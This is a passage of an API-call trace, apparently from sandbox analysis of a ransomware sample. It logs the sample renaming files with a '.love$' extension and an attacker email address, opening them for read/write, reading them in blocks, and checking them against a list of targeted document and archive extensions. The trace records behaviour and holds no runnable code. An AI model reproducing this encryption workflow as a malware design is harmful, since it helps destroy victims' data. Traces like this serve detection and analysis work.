(lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0285.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0285.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[im.online@aol.com].love$")) returned 1 [0285.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0285.310] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffc64 | out: lpNewFilePointer=0x0) returned 1 [0285.310] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffc24 | out: lpNewFilePointer=0x0) returned 1 [0285.310] ReadFile (in: hFile=0x354, lpBuffer=0x3b16058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3b16058*, lpNumberOfBytesRead=0x30ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0285.499] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xba038, lpNewFilePointer=0x0, dwMoveMethod=0x30ffc24 | out: lpNewFilePointer=0x0) returned 1 [0286.005] ReadFile (in: hFile=0x354, lpBuffer=0x3b56058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3b56058*, lpNumberOfBytesRead=0x30ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0286.018] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30ffc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0286.018] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x1ee0a8, lpNewFilePointer=0x0, dwMoveMethod=0x30ffc24 | out: lpNewFilePointer=0x0) returned 1 [0286.018] ReadFile (hFile=0x354, lpBuffer=0x3b96058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30ffc30, lpOverlapped=0x0) Thread: id = 102 os_tid = 0xd40 [0282.954] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x37900a0 [0282.954] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x37a00a8 [0282.955] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53ad70 [0282.955] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x6) returned 0x57a218 [0282.955] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53ad88 [0282.955] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x100000) returned 0x3c22020 [0282.958] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53ada0 [0282.958] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53ada0, Size=0x20) returned 0x51d580 [0282.958] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53ada0 [0282.958] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53ada0, Size=0x20) returned 0x51d8f0 [0282.959] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.959] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.959] Wow64DisableWow64FsRedirection (in: OldValue=0x323ff50 | out: OldValue=0x323ff50*=0x0) returned 1 [0282.959] lstrlenW (lpString="kernel32.dll") returned 12 [0282.959] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d580 | out: hHeap=0x4e0000) returned 1 [0282.959] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.959] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d8f0 | out: hHeap=0x4e0000) returned 1 [0282.959] Sleep (dwMilliseconds=0x64) [0283.177] Sleep (dwMilliseconds=0x64) [0283.400] Sleep (dwMilliseconds=0x64) [0283.678] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0283.678] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0283.678] CreateFileW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0283.679] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=76128) returned 1 [0283.679] CloseHandle (hObject=0x318) returned 1 [0283.679] GetFileAttributesW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20 [0283.679] GetFileAttributesW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.679] CreateFileW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.679] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0283.679] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0283.679] lstrlenW (lpString=".doc") returned 4 [0283.679] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0283.679] lstrlenW (lpString=".docx") returned 5 [0283.679] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0283.679] lstrlenW (lpString=".pdf") returned 4 [0283.679] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0283.679] lstrlenW (lpString=".xls") returned 4 [0283.679] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0283.679] lstrlenW (lpString=".xlsx") returned 5 [0283.679] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0283.679] lstrlenW (lpString=".ppt") returned 4 [0283.679] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0283.680] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0283.680] lstrlenW (lpString=".zip") returned 4 [0283.680] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0283.680] lstrlenW (lpString=".rar") returned 4 [0283.680] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0283.680] lstrlenW (lpString=".bz2") returned 4 [0283.680] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0283.680] lstrlenW (lpString=".7z") returned 3 [0283.680] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0283.680] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0283.680] lstrlenW (lpString=".dbf") returned 4 [0283.680] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0283.680] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0283.680] lstrlenW (lpString=".1cd") returned 4 [0283.680] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0283.680] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0283.680] lstrlenW (lpString=".jpg") returned 4 [0283.680] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0283.680] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0283.680] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0283.680] lstrlenW (lpString=".doc") returned 4 [0283.680] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0283.680] lstrlenW (lpString=".docx") returned 5 [0283.680] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0283.680] lstrlenW (lpString=".pdf") returned 4 [0283.680] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0283.680] lstrlenW (lpString=".xls") returned 4 [0283.680] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0283.680] lstrlenW (lpString=".xlsx") returned 5 [0283.680] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0283.680] lstrlenW (lpString=".ppt") returned 4 [0283.680] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0283.680] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0283.681] lstrlenW (lpString=".zip") returned 4 [0283.681] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0283.681] lstrlenW (lpString=".rar") returned 4 [0283.681] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0283.681] lstrlenW (lpString=".bz2") returned 4 [0283.681] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0283.681] lstrlenW (lpString=".7z") returned 3 [0283.681] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0283.681] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0283.681] lstrlenW (lpString=".dbf") returned 4 [0283.681] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0283.681] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0283.681] lstrlenW (lpString=".1cd") returned 4 [0283.681] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0283.681] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0283.681] lstrlenW (lpString=".jpg") returned 4 [0283.681] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0283.681] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0283.681] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0283.681] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0283.682] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=77152) returned 1 [0283.682] CloseHandle (hObject=0x318) returned 1 [0283.682] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0283.682] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.682] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.682] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0283.682] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0283.682] lstrlenW (lpString=".doc") returned 4 [0283.682] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0283.683] lstrlenW (lpString=".docx") returned 5 [0283.683] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0283.683] lstrlenW (lpString=".pdf") returned 4 [0283.683] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0283.683] lstrlenW (lpString=".xls") returned 4 [0283.683] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0283.683] lstrlenW (lpString=".xlsx") returned 5 [0283.683] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0283.683] lstrlenW (lpString=".ppt") returned 4 [0283.683] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0283.683] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0283.683] lstrlenW (lpString=".zip") returned 4 [0283.683] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0283.683] lstrlenW (lpString=".rar") returned 4 [0283.683] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0283.683] lstrlenW (lpString=".bz2") returned 4 [0283.683] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0283.683] lstrlenW (lpString=".7z") returned 3 [0283.683] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0283.683] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0283.683] lstrlenW (lpString=".dbf") returned 4 [0283.683] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0283.683] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0283.683] lstrlenW (lpString=".1cd") returned 4 [0283.683] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0283.683] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0283.683] lstrlenW (lpString=".jpg") returned 4 [0283.683] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0283.683] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0283.683] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0283.684] lstrlenW (lpString=".doc") returned 4 [0283.684] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0283.684] lstrlenW (lpString=".docx") returned 5 [0283.684] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0283.684] lstrlenW (lpString=".pdf") returned 4 [0283.684] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0283.684] lstrlenW (lpString=".xls") returned 4 [0283.684] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0283.684] lstrlenW (lpString=".xlsx") returned 5 [0283.684] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0283.684] lstrlenW (lpString=".ppt") returned 4 [0283.684] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0283.684] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0283.684] lstrlenW (lpString=".zip") returned 4 [0283.684] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0283.684] lstrlenW (lpString=".rar") returned 4 [0283.684] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0283.684] lstrlenW (lpString=".bz2") returned 4 [0283.684] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0283.684] lstrlenW (lpString=".7z") returned 3 [0283.684] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0283.684] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0283.684] lstrlenW (lpString=".dbf") returned 4 [0283.684] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0283.684] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0283.684] lstrlenW (lpString=".1cd") returned 4 [0283.684] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0283.684] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0283.684] lstrlenW (lpString=".jpg") returned 4 [0283.684] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0283.685] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0283.685] lstrlenW (lpString="memtest.exe.mui") returned 15 [0283.685] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0283.685] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=44960) returned 1 [0283.685] CloseHandle (hObject=0x318) returned 1 [0283.686] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20 [0283.686] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.686] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.686] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0283.686] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0283.686] lstrlenW (lpString=".doc") returned 4 [0283.686] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0283.686] lstrlenW (lpString=".docx") returned 5 [0283.686] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0283.686] lstrlenW (lpString=".pdf") returned 4 [0283.686] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0283.686] lstrlenW (lpString=".xls") returned 4 [0283.686] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0283.686] lstrlenW (lpString=".xlsx") returned 5 [0283.686] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0283.686] lstrlenW (lpString=".ppt") returned 4 [0283.686] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0283.686] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0283.686] lstrlenW (lpString=".zip") returned 4 [0283.686] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0283.686] lstrlenW (lpString=".rar") returned 4 [0283.686] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0283.686] lstrlenW (lpString=".bz2") returned 4 [0283.686] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0283.686] lstrlenW (lpString=".7z") returned 3 [0283.686] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0283.686] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0283.686] lstrlenW (lpString=".dbf") returned 4 [0283.687] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0283.687] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0283.687] lstrlenW (lpString=".1cd") returned 4 [0283.687] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0283.687] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0283.687] lstrlenW (lpString=".jpg") returned 4 [0283.687] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0283.687] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0283.687] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0283.687] lstrlenW (lpString=".doc") returned 4 [0283.687] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0283.687] lstrlenW (lpString=".docx") returned 5 [0283.687] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0283.687] lstrlenW (lpString=".pdf") returned 4 [0283.687] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0283.687] lstrlenW (lpString=".xls") returned 4 [0283.687] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0283.687] lstrlenW (lpString=".xlsx") returned 5 [0283.687] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0283.687] lstrlenW (lpString=".ppt") returned 4 [0283.687] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0283.687] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0283.687] lstrlenW (lpString=".zip") returned 4 [0283.687] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0283.687] lstrlenW (lpString=".rar") returned 4 [0283.687] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0283.687] lstrlenW (lpString=".bz2") returned 4 [0283.687] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0283.688] lstrlenW (lpString=".7z") returned 3 [0283.688] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0283.688] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0283.688] lstrlenW (lpString=".dbf") returned 4 [0283.688] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0283.688] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0283.688] lstrlenW (lpString=".1cd") returned 4 [0283.688] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0283.688] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0283.688] lstrlenW (lpString=".jpg") returned 4 [0283.688] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0283.688] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0283.688] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0283.688] CreateFileW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0283.691] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=77144) returned 1 [0283.691] CloseHandle (hObject=0x318) returned 1 [0283.691] GetFileAttributesW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20 [0283.691] GetFileAttributesW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.691] CreateFileW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.691] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0283.691] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0283.691] lstrlenW (lpString=".doc") returned 4 [0283.691] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0283.691] lstrlenW (lpString=".docx") returned 5 [0283.691] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0283.691] lstrlenW (lpString=".pdf") returned 4 [0283.691] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0283.691] lstrlenW (lpString=".xls") returned 4 [0283.691] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0283.691] lstrlenW (lpString=".xlsx") returned 5 [0283.691] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0283.691] lstrlenW (lpString=".ppt") returned 4 [0283.691] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0283.691] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0283.691] lstrlenW (lpString=".zip") returned 4 [0283.691] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0283.691] lstrlenW (lpString=".rar") returned 4 [0283.692] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0283.692] lstrlenW (lpString=".bz2") returned 4 [0283.692] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0283.692] lstrlenW (lpString=".7z") returned 3 [0283.692] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0283.692] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0283.692] lstrlenW (lpString=".dbf") returned 4 [0283.692] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0283.692] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0283.692] lstrlenW (lpString=".1cd") returned 4 [0283.692] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0283.692] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0283.692] lstrlenW (lpString=".jpg") returned 4 [0283.692] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0283.692] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0283.692] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0283.692] lstrlenW (lpString=".doc") returned 4 [0283.692] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0283.692] lstrlenW (lpString=".docx") returned 5 [0283.692] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0283.692] lstrlenW (lpString=".pdf") returned 4 [0283.692] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0283.692] lstrlenW (lpString=".xls") returned 4 [0283.692] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0283.692] lstrlenW (lpString=".xlsx") returned 5 [0283.692] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0283.692] lstrlenW (lpString=".ppt") returned 4 [0283.692] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0283.692] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0283.692] lstrlenW (lpString=".zip") returned 4 [0283.692] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0283.692] lstrlenW (lpString=".rar") returned 4 [0283.693] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0283.693] lstrlenW (lpString=".bz2") returned 4 [0283.693] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0283.693] lstrlenW (lpString=".7z") returned 3 [0283.693] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0283.693] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0283.693] lstrlenW (lpString=".dbf") returned 4 [0283.693] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0283.693] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0283.693] lstrlenW (lpString=".1cd") returned 4 [0283.693] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0283.693] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0283.693] lstrlenW (lpString=".jpg") returned 4 [0283.693] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0283.693] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0283.693] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0283.693] CreateFileW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 